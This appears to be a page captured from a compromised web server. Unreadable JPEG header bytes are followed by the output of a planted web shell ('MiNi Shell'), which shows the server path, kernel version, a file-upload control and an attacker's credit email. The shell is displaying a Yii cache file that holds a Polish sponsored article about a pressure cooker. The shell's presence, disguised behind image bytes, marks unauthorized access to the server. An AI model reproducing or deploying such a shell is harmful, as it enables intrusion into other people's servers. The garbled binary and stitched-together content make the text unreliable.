JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/runtime/cache/b3/

Linux 9dbcd5f6333d 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Upload File :
Current File : /home/vmanager/www/frontend/runtime/cache/b3/b3692f48dbf6fc2dca9992422a33f373.bin

a:2:{i:0;a:2:{i:0;s:7644:" 
                    
                    <h3 class="title">Szybkowar - jak działa i dlaczego warto mieć go w swojej kuchni?</h3>
                    <p>
                        <span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong> 20-12-2018, 00:00</strong>
                                            </p>

                    <div class="lorem">
                        <div class="row">
	<div class="col-sm-6">
		<p>
			<strong>Nie lubimy długo gotować, ale lubimy dobrze zjeść. Nowoczesne urządzenia kuchenne to rozwiązanie dla wszystkich, którzy chcą gotować zdrowo, smacznie i… szybko. W dobrze urządzonej kuchni nie może zabraknąć szybkowaru.</strong></p>
		<p>
			<strong>Gotuj smacznie i zdrowo</strong></p>
		<p>
			Przyrządzanie zdrowych i smacznych dań wydaje się długie i pracochłonne.</p>
	</div>
	<div class="col-sm-6">
		<img alt="Szybkowar - jak działa i dlaczego warto mieć go w swojej kuchni?" class="img-responsive" src="https://common.v-manager.pl/uploads/source/articles/61234/0_upload_b456855861.webp" loading="lazy" /></div>
<div class="clearfix">
	Stąd często zadowalamy się zjedzonym na szybko hamburgerem, makaronem polanym tłustym sosem, nieprawidłowo smażonym mięsem. Na co dzień nie mamy czasu, by zastanowić się, gdzie popełniamy błąd. Tymczasem nie wystarczy włączyć do codziennej diety porcji surowych warzyw i owoców (chociaż niewątpliwie jest to ważny element posiłków), by mówić o zdrowym odżywianiu. Błędem jest także przekonanie, że zdrowa żywność to tylko kiełki i koktajle zawierające super food. W zdrowej diecie jak najbardziej znajduje się miejsce na mięso i ryby. Jedyną kwestią, na jaką koniecznie trzeba zwrócić uwagę, jest sposób jego przyrządzania. Dobrym wyborem jest gotowanie w szybkowarze.</div><p>
	<strong>Zalety szybkowaru</strong></p><p>
	Nazwa „szybkowar” doskonale oddaje charakter urządzenia – szybko gotuje. Sekret tkwi w wysokim ciśnieniu, jakie wytwarza się wewnątrz urządzenia. To właśnie ono pozwala znacznie skrócić czas gotowania. Szacuje się, że dzięki użyciu szybkowaru możemy przygotować obiad aż do 70% szybciej niż przy tradycyjnej formie gotowania. Przy czym trzeba zaznaczyć, że użytkownik ma do wyboru gotowanie tradycyjne i szybkie. Szybkowary umożliwiają także podgrzewanie gotowych dań i utrzymywanie ciepłej temperatury wiele godzin. Można gotować na parze, dusić i piec. To wielofunkcyjne urządzenie ułatwia między innym przygotowywanie potraw jednogarnkowych. Ograniczenie stosowania tłuszczu sprawia, że przygotowane w szybkowarze potrawy są lekkostrawne i niskokaloryczne, a jednocześnie niesamowicie aromatyczne i smaczne. Spełniają wszelkie wymogi dań z kategorii fit (Zobacz: <a href="https://www.haloursynow.pl/artykuly/chcesz-gotowac-zdrowiej-pomoze-ci-w-tym-blender-prozniowy,10701.htm" rel="dofollow noopener" target="_blank"><strong>Chcesz gotować zdrowiej?Pomoże Ci w tym blender próżniowy!</strong></a>).<br />
	<br />
	<strong>Kilka szczegółów technicznych</strong></p><p>
	Nowoczesne szybkowary wyposażone są w cyfrowy, dotykowy panel sterowania, za pomocą którego szybko i łatwo zaprogramujemy urządzenie. Do wyboru jest kilkanaście różnych funkcji. To dość, by móc przyrządzać różnorodne dania z kuchni całego świata. Oprócz tego można ręcznie ustawić parametry pracy szybkowaru, co w praktyce daje nieograniczone możliwości konfiguracji. Na uwagę zasługuje łatwość czyszczenia – nikt nie lubi po obiedzie długo zmywać. Dzięki powłoce antyadhezyjnej, pokrywającej dno naczynia, czyszczenie urządzenia odbywa się bezproblemowo. <a href="https://www.eldom.eu/produkt/szybkowar-sw500-perfect-cook-eldom" rel="dofollow noopener" target="_blank"><strong>Szybkowar Eldom</strong></a> może pochwalić się zakresem temperatury 30 – 160°C. Dzięki temu możliwa jest obróbka termiczna produktów na wiele sposobów (gotowanie, duszenie, pieczenie itp.). Pięciolitrowy garnek jest wystarczająco duży, by przygotować w nim obiad dla całej rodziny. Warto też zwrócić uwagę na niski pobór prądu. Szybkowar pobiera zaledwie 900 W.<br />
	<br />
	<strong>Dlaczego szybkowar jest tym, czego potrzebujesz?</strong></p><p>
	Lubisz, kiedy „samo się robi”? Zaprogramuj szybkowar i czekaj na sygnał dźwiękowy. Nie musisz pilnować, czy się nie przypala ani mieszać co jakiś czas.</p><p>
	Lubisz dania „w sosie własnym” bez dodatkowego tłuszczu? Szybkowar przygotuje je dla ciebie naprawdę szybko. I do tego będą smaczne!</p><p>
	Lubisz nowinki technologiczne i chętniej zaprogramujesz urządzenie, niż skorzystasz z tradycyjnego garnka i patelni? Szybkowar spełnia wszystkie warunki nowoczesnego urządzenia kuchennego.</p><p>
	Lubisz oszczędzać nie tylko czas, ale i pieniądze? Przygotowując posiłki w szybkowarze, oszczędzasz jedno i drugie.</p></div>
                        
                         
 
                        <div class="googleads-article">
<!-- script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script -->
<!-- vManager - w treści artykułu 2 -->
<ins class="adsbygoogle"
     style="display:block"
     data-ad-client="ca-pub-6177099932506559"
     data-ad-slot="9192484574"
     data-ad-format="auto"
     data-full-width-responsive="true"></ins>
<script>
     (adsbygoogle = window.adsbygoogle || []).push({});
</script>
                        </div>


                           
                    </div>
                    
                    <div class="text-center">
                                        </div>

                                            <p class="text-right">Artykuł sponsorowany</p>
                                            
                      
                        
                        
                    
                                        
                                            <div class="nav-table tags mt05">
                            <div>Tagi:</div>    
                            <div>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=szybkowar" class="label label-default">szybkowar</a>
                                                            </div>
                        </div>
                                            
                        
                    <div id="fb-root"></div>
                    <!--script async defer crossorigin="anonymous" src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0" nonce="2g9iczzS"></script-->
                    
<script>
//<![CDATA[
var lx=!1;window.addEventListener("scroll",function(){(0!=document.documentElement.scrollTop&&!1===lx||0!=document.body.scrollTop&&!1===lx)&&(!function(){var e=document.createElement("script");e.type="text/javascript",e.async=!0,e.src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0";var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(e,a)}(),lx=!0)},!0);
//]]>
</script>
                    
                    <div class="social text-center mb1">
                        <div class="fb-like" data-href="https://www.jedzenie.info.pl/artykuly/szczegoly/61234" data-width="" data-layout="button" data-action="like" data-show-faces="false" data-share="true"></div>
                    </div>

                    
                    <div id="articles">    
                        
                    
                                    ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:2:{i:0;s:13:"article_61234";i:1;s:8:"articles";}s:4:"data";a:2:{s:32:"24e5d4c3c0087234a5e1d8bd01b53637";s:21:"0.03936900 1746778945";s:32:"9f4ebfa1b76d6bc6617aec9034853422";s:21:"0.22954000 1749980350";}s:8:"reusable";b:0;}}

Creat By MiNi SheLL
Email: jattceo@gmail.com